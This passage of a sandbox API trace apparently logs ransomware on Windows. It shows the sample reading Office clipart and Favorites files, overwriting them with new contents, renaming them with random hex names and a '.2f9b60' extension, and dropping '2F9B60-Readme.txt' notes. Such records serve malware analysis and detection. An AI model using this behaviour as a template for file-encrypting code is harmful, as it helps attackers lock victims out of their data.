_Dest=0x1cd9c4ae, _Format="%c%c" | out: _Dest="d8") returned 2 [0122.947] sprintf (in: _Dest=0x1cd9c4b0, _Format="%c%c" | out: _Dest="24") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4b2, _Format="%c%c" | out: _Dest="a1") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4b4, _Format="%c%c" | out: _Dest="48") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4b6, _Format="%c%c" | out: _Dest="91") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4b8, _Format="%c%c" | out: _Dest="eb") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4ba, _Format="%c%c" | out: _Dest="41") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4bc, _Format="%c%c" | out: _Dest="8e") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4be, _Format="%c%c" | out: _Dest="73") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4c0, _Format="%c%c" | out: _Dest="75") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4c2, _Format="%c%c" | out: _Dest="3b") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4c4, _Format="%c%c" | out: _Dest="7c") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4c6, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4c8, _Format="%c%c" | out: _Dest="49") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4ca, _Format="%c%c" | out: _Dest="cf") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4cc, _Format="%c%c" | out: _Dest="0e") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4ce, _Format="%c%c" | out: _Dest="b2") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4d0, _Format="%c%c" | out: _Dest="ee") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4d2, _Format="%c%c" | out: _Dest="5d") returned 2 [0122.948] sprintf (in: _Dest=0x1cd9c4d4, _Format="%c%c" | out: _Dest="d8") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4d6, _Format="%c%c" | out: _Dest="a1") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4d8, _Format="%c%c" | out: _Dest="55") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4da, _Format="%c%c" | out: _Dest="00") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4dc, _Format="%c%c" | out: _Dest="21") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4de, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4e0, _Format="%c%c" | out: _Dest="63") returned 2 [0122.949] sprintf (in: _Dest=0x1cd9c4e2, _Format="%c%c" | out: _Dest="69") returned 2 [0122.949] RtlInitAnsiString (in: DestinationString=0x1d6cfd28, SourceString="2730e5c8e8516f956e97aa21e75547d824a14891eb418e73753b7cd449cf0eb2ee5dd8a1550021a46369" | out: DestinationString="2730e5c8e8516f956e97aa21e75547d824a14891eb418e73753b7cd449cf0eb2ee5dd8a1550021a46369") [0122.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d6cfcf8, SourceString="2730e5c8e8516f956e97aa21e75547d824a14891eb418e73753b7cd449cf0eb2ee5dd8a1550021a46369", AllocateDestinationString=1 | out: DestinationString="2730e5c8e8516f956e97aa21e75547d824a14891eb418e73753b7cd449cf0eb2ee5dd8a1550021a46369") returned 0x0 [0122.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0122.949] wcscat (in: _Dest=0x1b85b490, _Source="2730e5c8e8516f956e97a" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a") returned="C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a" [0122.949] wcscat (in: _Dest=0x1b85b490, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a.2f9b60") returned="C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a.2f9b60" [0122.949] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a.2f9b60", NtPathName=0x1d6cfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Links\\2730e5c8e8516f956e97a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65290 [0123.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65290) returned 1 [0123.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0123.078] NtQueryInformationFile (in: FileHandle=0x1798, IoStatusBlock=0x1d6cfd38, FileInformation=0x1d6cfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d6cfd38, FileInformation=0x1d6cfd48) returned 0x0 [0123.078] NtSetInformationFile (FileHandle=0x1798, IoStatusBlock=0x1d6cfd38, FileInformation=0x1d6cfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b490) returned 1 [0123.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0123.098] FlushFileBuffers (hFile=0x1798) returned 1 [0123.108] CloseHandle (hObject=0x1798) returned 1 [0123.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced92b0 [0123.116] wcscpy (in: _Dest=0x1ced92b0, _Source="C:\\Users\\Default\\Favorites\\Links\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\") returned="C:\\Users\\Default\\Favorites\\Links\\" [0123.116] wcscat (in: _Dest=0x1ced92b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Links\\2F9B60-Readme.txt" [0123.116] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\links\\2f9b60-readme.txt")) returned 0xffffffff [0123.116] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\links\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xfa8 [0123.132] WriteFile (in: hFile=0xfa8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1d6cfbf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1d6cfbf0*=0xba9, lpOverlapped=0x0) returned 1 [0123.137] CloseHandle (hObject=0xfa8) returned 1 [0123.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0123.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866f40) returned 1 Thread: id = 1480 os_tid = 0x1974 [0120.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0120.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF", dwFileAttributes=0x20) returned 1 [0120.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0120.667] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x1d57f920 | out: lpFileSize=0x1d57f920*=14486) returned 1 [0120.667] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x3892, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.667] ReadFile (in: hFile=0x14d8, lpBuffer=0x1d57f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d57f8e8, lpOverlapped=0x0 | out: lpBuffer=0x1d57f8a0*, lpNumberOfBytesRead=0x1d57f8e8*=0x4, lpOverlapped=0x0) returned 1 [0120.910] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0120.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0120.911] NtQuerySystemTime (in: CurrentTime=0x1d57f7e0 | out: CurrentTime=0x1d57f7e0*=132462177263050000) returned 0x0 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x7f5077f7 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x5887b65a [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x72b91ec2 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x2998e9d [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x7bb4112a [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x6afe13d0 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x142aeb27 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x74377659 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x170872cc [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x628db429 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x57d19135 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x1ca89fc5 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x4d56cabe [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x36622440 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x7b372e31 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x253bcbee [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x5868366 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x256f2600 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x6f8ed1bf [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0xe42a3fd [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x46752d63 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x50140227 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x628db429 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x2f19c487 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x21d7d9da [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x2e92587 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x3dee804 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x6435cebe [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x4e66e2e0 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x5435e585 [0120.911] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x7eb12d89 [0120.912] RtlRandomEx (in: Seed=0x1d57f7d0 | out: Seed=0x1d57f7d0) returned 0x1f9e4b60 [0120.921] ReadFile (in: hFile=0x14d8, lpBuffer=0x201485a0, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x1d57f7d0, lpOverlapped=0x0 | out: lpBuffer=0x201485a0*, lpNumberOfBytesRead=0x1d57f7d0*=0x3896, lpOverlapped=0x0) returned 1 [0121.524] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.524] WriteFile (in: hFile=0x14d8, lpBuffer=0x2013d170*, nNumberOfBytesToWrite=0x3896, lpNumberOfBytesWritten=0x1d57f7d4, lpOverlapped=0x0 | out: lpBuffer=0x2013d170*, lpNumberOfBytesWritten=0x1d57f7d4*=0x3896, lpOverlapped=0x0) returned 1 [0122.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ece0 [0122.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ece0) returned 1 [0122.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2013d170) returned 1 [0122.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201485a0) returned 1 [0122.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0122.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0122.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050ece0 [0122.775] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.775] WriteFile (in: hFile=0x14d8, lpBuffer=0x204ff690*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d57f8f0, lpOverlapped=0x0 | out: lpBuffer=0x204ff690*, lpNumberOfBytesWritten=0x1d57f8f0*=0x10a, lpOverlapped=0x0) returned 1 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0123.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0123.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0123.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0123.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.030] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="a9") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="94") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="70") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="0e") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="e4") returned 2 [0123.030] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="dc") returned 2 [0123.030] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="ec") returned 2 [0123.030] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="8c") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="01") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="6c") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="16") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.030] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="58") returned 2 [0123.030] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b3") returned 2 [0123.030] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="cc") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="21") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="78") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="ef") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.030] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.030] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="e8") returned 2 [0123.030] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="fe") returned 2 [0123.030] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="2f") returned 2 [0123.030] RtlInitAnsiString (in: DestinationString=0x1d57f968, SourceString="a994700ee4dcec8c7f016c16e958b3cc2178efe54ce8fe2f" | out: DestinationString="a994700ee4dcec8c7f016c16e958b3cc2178efe54ce8fe2f") [0123.031] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d57f938, SourceString="a994700ee4dcec8c7f016c16e958b3cc2178efe54ce8fe2f", AllocateDestinationString=1 | out: DestinationString="a994700ee4dcec8c7f016c16e958b3cc2178efe54ce8fe2f") returned 0x0 [0123.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8e50 [0123.031] wcscat (in: _Dest=0x202b0970, _Source="a994700ee4dc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc" [0123.031] wcscat (in: _Dest=0x202b0970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc.2f9b60" [0123.031] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc.2f9b60", NtPathName=0x1d57f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a994700ee4dc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107e40 [0123.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0123.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf300) returned 1 [0123.367] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x1d57f978, FileInformation=0x1d57f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d57f978, FileInformation=0x1d57f988) returned 0x0 [0123.367] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x1d57f978, FileInformation=0x1d57f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 [0123.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0123.417] FlushFileBuffers (hFile=0x14d8) returned 1 [0123.426] CloseHandle (hObject=0x14d8) returned 1 [0123.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1cd0 [0123.427] wcscpy (in: _Dest=0x202b1cd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.427] wcscat (in: _Dest=0x202b1cd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 [0123.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af340) returned 1 Thread: id = 1481 os_tid = 0x1978 [0120.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0120.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF", dwFileAttributes=0x20) returned 1 [0120.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1660 [0120.672] GetFileSizeEx (in: hFile=0x1660, lpFileSize=0x1dc1fb00 | out: lpFileSize=0x1dc1fb00*=18304) returned 1 [0120.672] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x477c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.672] ReadFile (in: hFile=0x1660, lpBuffer=0x1dc1fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc1fac8, lpOverlapped=0x0 | out: lpBuffer=0x1dc1fa80*, lpNumberOfBytesRead=0x1dc1fac8*=0x4, lpOverlapped=0x0) returned 1 [0121.195] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0121.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0121.195] NtQuerySystemTime (in: CurrentTime=0x1dc1f9c0 | out: CurrentTime=0x1dc1f9c0*=132462177265858000) returned 0x0 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x10924653 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x204f64c0 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x4dca9732 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x5b3c6d98 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x34a2dbbf [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x75ef90f [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x2cf6763a [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x6a26f541 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x1b3a722 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x54333b0a [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x7810615b [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x502f2c49 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x4f18377f [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x79210531 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x1e1e223d [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x7f8b9f38 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x36622440 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x1e23597c [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x21308964 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x10f3b463 [0121.195] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x6a26f541 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x68e09dba [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x4de72a14 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x6183b507 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x5426c8ad [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x7f5077f7 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x704c18ca [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x55ab8aa9 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x6cb5881e [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x25d0e3f3 [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x6a1a4d8b [0121.196] RtlRandomEx (in: Seed=0x1dc1f9b0 | out: Seed=0x1dc1f9b0) returned 0x1e1e223d [0124.416] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.416] ReadFile (in: hFile=0x1660, lpBuffer=0x41c66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc1fa20, lpOverlapped=0x0 | out: lpBuffer=0x41c66910*, lpNumberOfBytesRead=0x1dc1fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0124.464] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) 